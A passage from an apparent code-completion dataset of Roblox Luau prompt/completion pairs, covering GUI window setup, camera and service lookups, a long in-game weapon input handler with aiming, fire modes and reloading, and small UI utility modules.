oldIndex = meta.__index\n\t\n\tcreate(\"ScrollingFrame\", nil, ScrollFrame)\n\tLoadChildren(api, Content)\n\t\n\tapi:SetSpecial(\"gTable\", gTable)\n\tapi:SetSpecial(\"Window\", GUI)\n\tapi:SetSpecial(\"Main\", Main)\n\tapi:SetSpecial(\"Title\", Titlef)\n\tapi:SetSpecial(\"Dragger\", Drag)\n\tapi:SetSpecial(\"Destroy\", doClose)\n\tapi:SetSpecial(\"Close\", doClose)\n\tapi:SetSpecial(\"Object\", ScrollFrame)\n\tapi:SetSpecial(\"Refresh\", DoRefresh) \n\tapi:SetSpecial(\"AddTitleButton\", function(ignore, data) if type(ignore) == \"table\" and not data then data = ignore end return addTitleButton(data) end)\n\tapi:SetSpecial(\"Ready\", function() if onReady then onReady() end gTable.Ready() BringToFront() end)\n\tapi:SetSpecial(\"BindEvent\", function(ignore, ...) Event(...) end)\t\n\tapi:SetSpecial(\"Hide\", function(ignore, hide) doHide(hide) end)\n\tapi:SetSpecial(\"SetTitle\", function(ignore, newTitle) Titlef.Text = newTitle end)\n\tapi:SetSpecial(\"SetPosition\", function(ignore, newPos) setPosition(newPos) end)\n\tapi:SetSpecial(\"SetSize\", function(ignore, newSize) setSize(newSize) end)\n\tapi:SetSpecial(\"GetPosition\", function() return Drag.AbsolutePosition end)\n\tapi:SetSpecial(\"GetSize\", function() return Main.AbsoluteSize end)\n\tapi:SetSpecial(\"IsVisible\", isVisible)\n\tapi:SetSpecial(\"IsClosed\", isClosed)\n\t\n\tmeta.__index = function(tab, ind)\n\t\tif ind == \"IsVisible\" then\n\t\t\treturn isVisible()\n\t\telseif ind == \"Closed\" then\n\t\t\treturn isClosed\n\t\telse\n\t\t\treturn oldIndex(tab, ind)\n\t\tend\n\tend\n\t\n\tsetSize(Size)\n\tsetPosition(Position)\n\t\n\tif Ready then\n\t\tgTable:Ready()\n\t\tBringToFront()\n\tend\n\t\n\treturn api,GUI\nend\n"} +{"prompt": "-- D\u00e9finir la cam\u00e9ra personnalis\u00e9e", "completion": "\nlocal camera = workspace.CurrentCamera\nlocal player = game.Players.LocalPlayer\nlocal character = player.Character or player.CharacterAdded:Wait()\nlocal humanoid = character:WaitForChild(\"Humanoid\")\n"} +{"prompt": "-- services", "completion": "\n\nlocal ReplicatedStorage\t\t= game:GetService(\"ReplicatedStorage\")\nlocal ServerScriptService\t= game:GetService(\"ServerScriptService\")\nlocal RunService\t\t\t= game:GetService(\"RunService\")\nlocal Players\t\t\t\t= game:GetService(\"Players\")\n"} +{"prompt": "--// Input Connections", "completion": "\nL_107_.InputBegan:connect(function(L_314_arg1, L_315_arg2)\n\tif not L_315_arg2 and L_15_ then\n\t\tif L_314_arg1.UserInputType == (Enum.UserInputType.MouseButton2 or L_314_arg1.KeyCode == Enum.KeyCode.ButtonL2) and not L_79_ and not L_78_ and not L_77_ and L_24_.CanAim and not L_74_ and L_15_ and not L_66_ and not L_67_ then\n\t\t\tif not L_64_ then\n\t\t\t\tif not L_65_ then\n\t\t\t\t\tif L_24_.TacticalModeEnabled then\n\t\t\t\t\t\tL_154_ = 0.015\n\t\t\t\t\t\tL_155_ = 7\n\t\t\t\t\t\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 7\n\t\t\t\t\telse\n\t\t\t\t\t\tL_155_ = 10\n\t\t\t\t\t\tL_154_ = 0.008\n\t\t\t\t\t\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 10\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif (L_3_.Head.Position - L_5_.CoordinateFrame.p).magnitude <= 2 then\n\t\t\t\t\tL_97_ = L_50_\n\t\t\t\tend\n\t\t\t\tL_133_.target = L_56_.CFrame:toObjectSpace(L_44_.CFrame).p\n\t\t\t\tL_115_:FireServer(true)\t\t\t\t\n\t\t\t\tL_64_ = true\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.A and L_15_ then\n\t\t\tL_134_ = CFrame.Angles(0, 0, 0.1)\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.D and L_15_ then\n\t\t\tL_134_ = CFrame.Angles(0, 0, -0.1)\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.E and L_15_ and not L_80_ and not L_81_ then\n\t\t\tL_80_ = true\n\t\t\tL_82_ = false\n\t\t\tL_81_ = true\n\t\t\tLeanRight()\n\t\tend\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and not L_80_ and not L_82_ then\n\t\t\tL_80_ = true\n\t\t\tL_81_ = false\n\t\t\tL_82_ = true\n\t\t\tLeanLeft()\n\t\tend\n\t\t\n\t\tif L_314_arg1.KeyCode == L_24_.AlternateAimKey and not L_79_ and not L_78_ and not L_77_ and L_24_.CanAim and not L_74_ and L_15_ and not L_66_ and not L_67_ then\n\t\t\tif not L_64_ then\n\t\t\t\tif not L_65_ then\n\t\t\t\t\tL_3_.Humanoid.WalkSpeed = 10\n\t\t\t\t\tL_155_ = 10\n\t\t\t\t\tL_154_ = 0.008\n\t\t\t\tend\n\t\t\t\tL_97_ = L_50_\n\t\t\t\tL_133_.target = L_56_.CFrame:toObjectSpace(L_44_.CFrame).p\n\t\t\t\tL_115_:FireServer(true)\n\t\t\t\tL_64_ = true\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.UserInputType == (Enum.UserInputType.MouseButton1 or L_314_arg1.KeyCode == Enum.KeyCode.ButtonR2) and not L_79_ and not L_77_ and L_69_ and L_15_ and not L_66_ and not L_67_ and not L_74_ then\n\t\t\tL_68_ = true\n\t\t\tif not Shooting and L_15_ and not L_83_ then\n\t\t\t\tif L_103_ > 0 then\t\t\t\n\t\t\t\t\tShoot()\n\t\t\t\tend\n\t\t\telseif not Shooting and L_15_ and L_83_ then\n\t\t\t\tif L_105_ > 0 then\n\t\t\t\t\tShoot()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (L_24_.LaserKey or L_314_arg1.KeyCode == Enum.KeyCode.DPadRight) and L_15_ and L_24_.LaserAttached then\n\t\t\tlocal L_316_ = L_1_:FindFirstChild(\"LaserLight\")\n\t\t\tL_122_.KeyDown[1].Plugin()\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (L_24_.LightKey or L_314_arg1.KeyCode == Enum.KeyCode.ButtonR3) and L_15_ and L_24_.LightAttached then\n\t\t\tlocal L_317_ = L_1_:FindFirstChild(\"FlashLight\"):FindFirstChild('Light')\n\t\t\tlocal L_318_ = false\n\t\t\tL_317_.Enabled = not L_317_.Enabled\n\t\tend;\n\t\t\n\t\tif L_15_ and L_314_arg1.KeyCode == (L_24_.FireSelectKey or L_314_arg1.KeyCode == Enum.KeyCode.DPadUp) and not L_79_ and not L_70_ and not L_78_ then\n\t\t\tL_70_ = true\n\t\t\tif L_92_ == 1 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\telseif not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\tend\n\t\t\telseif L_92_ == 2 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BurstEnabled and not L_24_.BoltAction and not L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\tend\n\t\t\telseif L_92_ == 3 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BoltAction and L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.BoltAction and not L_24_.SemiEnabled and not L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\tend\n\t\t\telseif L_92_ == 4 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tif L_24_.ExplosiveEnabled then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\telseif not L_24_.ExplosiveEnabled and L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\tend\n\t\t\telseif L_92_ == 6 then\n\t\t\t\tif Shooting then\n\t\t\t\t\tShooting = false\n\t\t\t\tend\n\t\t\t\tL_85_ = L_69_\n\t\t\t\tif L_24_.SemiEnabled then\n\t\t\t\t\tL_92_ = 1\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and L_24_.AutoEnabled then\n\t\t\t\t\tL_92_ = 2\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and L_24_.BurstEnabled then\n\t\t\t\t\tL_92_ = 3\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 4\n\t\t\t\t\tL_83_ = false\n\t\t\t\t\tL_69_ = L_84_\n\t\t\t\telseif not L_24_.SemiEnabled and not L_24_.AutoEnabled and not L_24_.BurstEnabled and not L_24_.BoltAction then\n\t\t\t\t\tL_92_ = 6\n\t\t\t\t\tL_83_ = true\n\t\t\t\t\tL_84_ = L_69_\n\t\t\t\t\tL_69_ = L_85_\n\t\t\t\tend\n\t\t\tend\n\t\t\tUpdateAmmo()\n\t\t\tFireModeAnim()\n\t\t\tIdleAnim()\n\t\t\tL_70_ = false\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (Enum.KeyCode.F or L_314_arg1.KeyCode == Enum.KeyCode.DPadDown) and not L_79_ and not L_77_ and not L_78_ and not L_67_ and not L_70_ and not L_64_ and not L_66_ and not Shooting and not L_76_ then\t\t\t\n\t\t\tif not L_73_ and not L_74_ then\n\t\t\t\tL_74_ = true\n\t\t\t\tShooting = false\n\t\t\t\tL_69_ = false\n\t\t\t\tL_135_ = time()\n\t\t\t\tdelay(0.6, function()\n\t\t\t\t\tif L_103_ ~= L_24_.Ammo and L_103_ > 0 then\n\t\t\t\t\t\tCreateShell()\n\t\t\t\t\tend\n\t\t\t\tend)\t\n\t\t\t\tBoltBackAnim()\n\t\t\t\tL_73_ = true\n\t\t\telseif L_73_ and L_74_ then\n\t\t\t\tBoltForwardAnim()\n\t\t\t\tShooting = false\n\t\t\t\tL_69_ = true\n\t\t\t\tif L_103_ ~= L_24_.Ammo and L_103_ > 0 then\n\t\t\t\t\tL_103_ = L_103_ - 1\n\t\t\t\telseif L_103_ >= L_24_.Ammo then\n\t\t\t\t\tL_69_ = true\n\t\t\t\tend\t\t\t\t\t\t\n\t\t\t\tL_73_ = false\n\t\t\t\tL_74_ = false\n\t\t\t\tIdleAnim()\n\t\t\t\tL_75_ = false\n\t\t\tend\n\t\t\tUpdateAmmo()\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (Enum.KeyCode.LeftShift or L_314_arg1.KeyCode == Enum.KeyCode.ButtonL3) and not L_78_ and not L_77_ and L_146_ then\n\t\t\tL_71_ = true\n\t\t\tif L_15_ and not L_70_ and not L_67_ and L_71_ and not L_65_ and not L_74_ then\n\t\t\t\tShooting = false\n\t\t\t\tL_64_ = false\n\t\t\t\tL_67_ = true\n\t\t\t\t\t\t\n\t\t\t\tdelay(0, function()\n\t\t\t\t\tif L_67_ and not L_66_ then\n\t\t\t\t\t\tL_64_ = false\n\t\t\t\t\t\tL_72_ = true\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\tL_97_ = 80\n\t\t\t\tif L_24_.TacticalModeEnabled then\n\t\t\t\t\tL_154_ = 0.4\n\t\t\t\t\tL_155_ = 16\n\t\t\t\telse\n\t\t\t\t\tL_155_ = L_24_.SprintSpeed\n\t\t\t\t\tL_154_ = 0.4\n\t\t\t\tend\n\t\t\t\tL_3_.Humanoid.WalkSpeed = L_24_.SprintSpeed\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == (Enum.KeyCode.R or L_314_arg1.KeyCode == Enum.KeyCode.ButtonX) and not L_79_ and not L_78_ and not L_77_ and L_15_ and not L_66_ and not L_64_ and not Shooting and not L_67_ and not L_74_ then\t\t\n\t\t\tif not L_83_ then\t\t\t\n\t\t\t\tif L_104_ > 0 and L_103_ < L_24_.Ammo then\n\t\t\t\t\tShooting = false\n\t\t\t\t\tL_66_ = true\n\t\t\t\t\t\n\t\t\t\t\tfor L_319_forvar1, L_320_forvar2 in pairs(game.Players:GetChildren()) do\n\t\t\t\t\t\tif L_320_forvar2 and L_320_forvar2:IsA('Player') and L_320_forvar2 ~= L_2_ and L_320_forvar2.TeamColor == L_2_.TeamColor then\n\t\t\t\t\t\t\tif (L_320_forvar2.Character.HumanoidRootPart.Position - L_3_.HumanoidRootPart.Position).magnitude <= 150 then\n\t\t\t\t\t\t\t\tif L_7_:FindFirstChild('AHH') and not L_7_.AHH.IsPlaying then\n\t\t\t\t\t\t\t\t\tL_119_:FireServer(L_7_.AHH, L_100_[math.random(0, 23)])\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tReloadAnim()\n\t\t\t\t\tif L_103_ <= 0 then\n\t\t\t\t\t\tBoltBackAnim()\n\t\t\t\t\t\tBoltForwardAnim()\n\t\t\t\t\tend\n\t\t\t\t\tIdleAnim()\n\t\t\t\t\tL_69_ = true\n\t\t\t\t\t\n\t\t\t\t\tif L_103_ <= 0 then\n\t\t\t\t\t\tif (L_104_ - (L_24_.Ammo - L_103_)) < 0 then\n\t\t\t\t\t\t\tL_103_ = L_103_ + L_104_\n\t\t\t\t\t\t\tL_104_ = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tL_104_ = L_104_ - (L_24_.Ammo - L_103_)\n\t\t\t\t\t\t\tL_103_ = L_24_.Ammo\n\t\t\t\t\t\tend\n\t\t\t\t\telseif L_103_ > 0 then\n\t\t\t\t\t\tif (L_104_ - (L_24_.Ammo - L_103_)) < 0 then\n\t\t\t\t\t\t\tL_103_ = L_103_ + L_104_ + 1\n\t\t\t\t\t\t\tL_104_ = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tL_104_ = L_104_ - (L_24_.Ammo - L_103_)\n\t\t\t\t\t\t\tL_103_ = L_24_.Ammo + 0\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\n\t\t\t\t\tL_66_ = false\n\t\t\t\t\tif not L_75_ then\n\t\t\t\t\t\tL_69_ = true\n\t\t\t\t\tend\n\t\t\t\tend;\n\t\t\telseif L_83_ then\n\t\t\t\tif L_105_ > 0 then\n\t\t\t\t\tShooting = false\n\t\t\t\t\tL_66_ = true\n\t\t\t\t\tnadeReload()\n\t\t\t\t\tIdleAnim()\n\t\t\t\t\tL_66_ = false\n\t\t\t\t\tL_69_ = true\n\t\t\t\tend\n\t\t\tend;\n\t\t\tUpdateAmmo()\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.RightBracket and L_64_ then\n\t\t\tif (L_51_ < 1) then\n\t\t\t\tL_51_ = L_51_ + L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.LeftBracket and L_64_ then\n\t\t\tif (L_51_ > 0.1) then\n\t\t\t\tL_51_ = L_51_ - L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\t\t\n\t\tif L_314_arg1.KeyCode == (Enum.KeyCode.T or L_314_arg1.KeyCode == Enum.KeyCode.DPadLeft) and L_1_:FindFirstChild(\"AimPart2\") then\n\t\t\tif not L_86_ then\n\t\t\t\tL_56_ = L_1_:WaitForChild(\"AimPart2\")\n\t\t\t\tL_50_ = L_24_.CycleAimZoom\n\t\t\t\tif L_64_ then\n\t\t\t\t\tL_97_ = L_24_.CycleAimZoom\n\t\t\t\tend\n\t\t\t\tL_86_ = true\n\t\t\telse\n\t\t\t\tL_56_ = L_1_:FindFirstChild(\"AimPart\")\n\t\t\t\tL_50_ = L_24_.AimZoom\n\t\t\t\tif L_64_ then\n\t\t\t\t\tL_97_ = L_24_.AimZoom\n\t\t\t\tend\n\t\t\t\tL_86_ = false\n\t\t\tend;\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == L_24_.InspectionKey and not L_79_ and not L_78_ then\n\t\t\tif not L_77_ then\n\t\t\t\tL_77_ = true\n\t\t\t\tInspectAnim()\n\t\t\t\tIdleAnim()\n\t\t\t\tL_77_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_314_arg1.KeyCode == L_24_.AttachmentKey and not L_79_ and not L_77_ then\n\t\t\tif L_15_ then\n\t\t\t\tif not L_78_ then\n\t\t\t\t\tL_67_ = false\n\t\t\t\t\tL_64_ = false\n\t\t\t\t\tL_69_ = false\n\t\t\t\t\tL_78_ = true\n\t\t\t\t\t\n\t\t\t\t\tAttachAnim()\n\t\t\t\telseif L_78_ then\n\t\t\t\t\tL_67_ = false\n\t\t\t\t\tL_64_ = false\n\t\t\t\t\tL_69_ = true\n\t\t\t\t\tL_78_ = false\n\t\t\t\t\t\n\t\t\t\t\tIdleAnim()\n\t\t\t\tend\n\t\t\tend\n\t\tend;\n\t\t\t\n\t\tif L_314_arg1.KeyCode == Enum.KeyCode.P and not L_77_ and not L_78_ and not L_64_ and not L_67_ and not L_65_ and not L_66_ and not Recoiling and not L_67_ then\n\t\t\tif not L_79_ then\n\t\t\t\tL_79_ = true\n\t\t\t\tL_14_:Create(L_45_, TweenInfo.new(0.2), {\n\t\t\t\t\tC1 = L_24_.SprintPos\n\t\t\t\t}):Play()\n\t\t\t\twait(0.2)\n\t\t\t\tL_112_:FireServer(\"Patrol\", L_24_.SprintPos)\n\t\t\telse\n\t\t\t\tL_79_ = false\n\t\t\t\tL_14_:Create(L_45_, TweenInfo.new(0.2), {\n\t\t\t\t\tC1 = CFrame.new()\n\t\t\t\t}):Play()\n\t\t\t\twait(0.2)\n\t\t\t\tL_112_:FireServer(\"Unpatrol\")\n\t\t\tend\n\t\tend;\n\tend\nend)\n\nL_107_.InputEnded:connect(function(L_321_arg1, L_322_arg2)\n\tif not L_322_arg2 and L_15_ then\n\t\tif L_321_arg1.UserInputType == (Enum.UserInputType.MouseButton2 or L_321_arg1.KeyCode == Enum.KeyCode.ButtonL2) and not L_77_ and L_24_.CanAim and not L_78_ then\n\t\t\tif L_64_ then\n\t\t\t\tif not L_65_ then\n\t\t\t\t\tL_3_:WaitForChild(\"Humanoid\").WalkSpeed = 16\n\t\t\t\t\tif L_24_.TacticalModeEnabled then\n\t\t\t\t\t\tL_154_ = 0.09\n\t\t\t\t\t\tL_155_ = 11\n\t\t\t\t\telse\n\t\t\t\t\t\tL_154_ = .2\n\t\t\t\t\t\tL_155_ = 17\n\t\t\t\t\tend\n\t\t\t\tend\t\n\t\t\t\tL_97_ = 70\n\t\t\t\tL_133_.target = Vector3.new()\n\t\t\t\tL_115_:FireServer(false)\n\t\t\t\tL_64_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.A and L_15_ then\n\t\t\tL_134_ = CFrame.Angles(0, 0, 0)\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.D and L_15_ then\n\t\t\tL_134_ = CFrame.Angles(0, 0, 0)\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.E and L_15_ and L_80_ then\n\t\t\tUnlean()\t\t\n\t\t\tL_80_ = false\n\t\t\tL_82_ = false\n\t\t\tL_81_ = false\n\t\tend\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.Q and L_15_ and L_80_ then\n\t\t\tUnlean()\t\t\n\t\t\tL_80_ = false\n\t\t\tL_82_ = false\n\t\t\tL_81_ = false\n\t\tend\n\t\t\n\t\tif L_321_arg1.KeyCode == L_24_.AlternateAimKey and not L_77_ and L_24_.CanAim then\n\t\t\tif L_64_ then\n\t\t\t\tif not L_65_ then\n\t\t\t\t\tL_3_.Humanoid.WalkSpeed = 16\n\t\t\t\t\tL_155_ = 17\n\t\t\t\t\tL_154_ = .25\n\t\t\t\tend\t\n\t\t\t\tL_97_ = 70\n\t\t\t\tL_133_.target = Vector3.new()\n\t\t\t\tL_115_:FireServer(false)\n\t\t\t\tL_64_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_321_arg1.UserInputType == (Enum.UserInputType.MouseButton1 or L_321_arg1.KeyCode == Enum.KeyCode.ButtonR2) and not L_77_ then\n\t\t\tL_68_ = false\t\t\t\t\n\t\t\tif Shooting then\n\t\t\t\tShooting = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == Enum.KeyCode.E and L_15_ then\n\t\t\tlocal L_323_ = L_42_:WaitForChild('GameGui')\n\t\t\tif L_16_ then\n\t\t\t\tL_323_:WaitForChild('AmmoFrame').Visible = false\n\t\t\t\tL_16_ = false\n\t\t\tend\n\t\tend;\n\t\t\n\t\tif L_321_arg1.KeyCode == (Enum.KeyCode.LeftShift or L_321_arg1.KeyCode == Enum.KeyCode.ButtonL3) and not L_77_ and not L_70_ and not L_65_ then -- SPRINT\n\t\t\tL_71_ = false\n\t\t\tif L_67_ and not L_64_ and not Shooting and not L_71_ then\n\t\t\t\tL_67_ = false\n\t\t\t\tL_72_ = false\n\t\t\t\tL_97_ = 70\n\t\t\t\n\t\t\t\tL_3_.Humanoid.WalkSpeed = 16\n\t\t\t\tif L_24_.TacticalModeEnabled then\n\t\t\t\t\tL_154_ = 0.09\n\t\t\t\t\tL_155_ = 11\n\t\t\t\telse\n\t\t\t\t\tL_154_ = .2\n\t\t\t\t\tL_155_ = 17\n\t\t\t\tend\t\t\t\n\t\t\tend\n\t\tend;\n\tend\nend)\n\nL_107_.InputChanged:connect(function(L_324_arg1, L_325_arg2)\n\tif not L_325_arg2 and L_15_ and L_24_.FirstPersonOnly and L_64_ then\n\t\tif L_324_arg1.UserInputType == Enum.UserInputType.MouseWheel then\n\t\t\tif L_324_arg1.Position.Z == 1 and (L_51_ < 1) then\n\t\t\t\tL_51_ = L_51_ + L_24_.SensitivityIncrement\n\t\t\telseif L_324_arg1.Position.Z == -1 and (L_51_ > 0.1) then\n\t\t\t\tL_51_ = L_51_ - L_24_.SensitivityIncrement\n\t\t\tend\n\t\tend\n\tend\nend)\n\nL_107_.InputChanged:connect(function(L_326_arg1, L_327_arg2)\n\tif not L_327_arg2 and L_15_ then\n\t\tlocal L_328_, L_329_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_56_.CFrame.p, (L_56_.CFrame.lookVector).unit * 10000), IgnoreList);\n\t\tif L_328_ then\n\t\t\tlocal L_330_ = (L_329_ - L_6_.Position).magnitude\n\t\t\tL_33_.Text = math.ceil(L_330_) .. ' m'\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- Attach core tools", "completion": "\nrequire(Tool.Tools.CoreToolLoader);\n"} +{"prompt": "-- ROBLOX deviation: Symbol is always available in polyfills", "completion": "\nlocal testSymbol = Symbol.for_(\"react.test.json\")\n\nlocal function getPropKeys(object: ReactTestObject)\n\tlocal props = object.props\n\n\treturn if props ~= nil\n\t\tthen Array.sort(Array.filter(Object.keys(props), function(key)\n\t\t\treturn props[key] ~= nil\n\t\tend))\n\t\telse {}\nend\n"} +{"prompt": "---------------\n--// Events\n---------------", "completion": "\nPlayers.PlayerAdded:Connect(function()\n\ttask.wait(.1)\n\tupdateGUI()\nend)\n\nPlayers.PlayerRemoving:Connect(function()\n\ttask.wait(.1)\n\tupdateGUI()\nend)\n\n\n"} +{"prompt": "--Public functions", "completion": "\n\nlocal module = {}\n\nfunction module.MouseEnterLeaveEvent(UIObj)\n\tif CurrentItems[UIObj] then\n\t\treturn CurrentItems[UIObj].EnteredEvent.Event,CurrentItems[UIObj].LeaveEvent.Event\n\tend \n\n\tlocal newObj = {}\n\n\tnewObj.UIObj = UIObj\n\n\tlocal EnterEvent = Instance.new(\"BindableEvent\")\n\tlocal LeaveEvent = Instance.new(\"BindableEvent\")\n\n\tnewObj.EnteredEvent = EnterEvent\n\tnewObj.LeaveEvent = LeaveEvent\n\tnewObj.MouseWasIn = false\n\tCurrentItems[UIObj] = newObj\n\n\tUIObj.AncestryChanged:Connect(function()\n\t\tif not UIObj.Parent then\n\t\t\t--Assuming the object has been destroyed as we still dont have a .Destroyed event\n\t\t\t--If for some reason you parent your UI elements to nil after calling this, then parent it back again, mouse over will still have been disconnected.\n\t\t\tEnterEvent:Destroy() \n\t\t\tLeaveEvent:Destroy() \n\t\t\tCurrentItems[UIObj] = nil\n\t\tend\n\tend)\n\n\treturn EnterEvent.Event,LeaveEvent.Event\nend\n\nreturn module\n"} +{"prompt": "--// Special Variables", "completion": "\nreturn function(Vargs, GetEnv)\n\tlocal env = GetEnv(nil, {script = script})\n\tsetfenv(1, env)\n\n\tlocal _G, game, script, getfenv, setfenv, workspace,\n\tgetmetatable, setmetatable, loadstring, coroutine,\n\trawequal, typeof, print, math, warn, error, pcall,\n\txpcall, select, rawset, rawget, ipairs, pairs,\n\tnext, Rect, Axes, os, time, Faces, unpack, string, Color3,\n\tnewproxy, tostring, tonumber, Instance, TweenInfo, BrickColor,\n\tNumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint,\n\tNumberSequenceKeypoint, PhysicalProperties, Region3int16,\n\tVector3int16, require, table, type, wait,\n\tEnum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay =\n\t\t_G, game, script, getfenv, setfenv, workspace,\n\tgetmetatable, setmetatable, loadstring, 